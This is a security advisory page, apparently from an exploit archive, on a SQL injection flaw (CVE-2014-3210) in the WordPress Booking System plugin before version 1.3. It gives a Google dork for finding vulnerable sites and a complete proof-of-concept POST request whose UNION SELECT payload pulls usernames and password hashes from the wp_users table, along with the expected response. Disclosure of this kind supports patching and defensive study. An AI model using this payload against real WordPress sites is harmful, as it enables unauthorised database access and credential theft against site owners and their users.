WordPress Booking System SQL Injection

2014.05.22
Credit: maodun
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 6.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Jednorazowa
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

# Exploit Title: Wordpress Booking System (Booking Calendar) plugin SQL Injection # Release Date: 2014-05-21 # Author: maodun # Contact: Twitter: @conmancm # Software Link: http://wordpress.org/support/plugin/booking-system # Affected version: < 1.3 # Google Dork: inurl:/wp-content/plugins/booking-system/ # REF:CVE-2014-3210 ----------------------------------------------------------------------------------------------------------------- # Introduction: Booking System is great for booking hotel rooms, apartments, houses, villas, rooms etc, make appointments to doctors, dentists, lawyers, beauty salons, spas, massage therapists etc or schedule events. ------------------------------------------------------------------------------------------------------------------------- # SQLi - Proof Of Concept: vulnerable path: /wp-content/plugins/booking-system/dopbs-backend-forms.php vulnerabile parameter:$_POST['booking_form_id'] POC: POST /wp/wp-admin/admin-ajax.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 149 Cookie: [your cookie] action=dopbs_show_booking_form_fields&booking_form_id=100 union select 1,2,3,4,5,6,7,8,9,hex(concat(user_login,user_pass)) from wp_users#&language=cr response: <input type="hidden" name="booking-form-field-translation-1" id="booking-form-field-translation-1" value="[hex value here]" /> ------------------------------------------------------------------------------------------------------------------------- # Patch: -- Vendor was notified on the 2014-05-05 -- Vendor released version 1.3 on 2014-05-06 Fixed the bug -------------------------------------------------------------------------------------------------------------------------


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top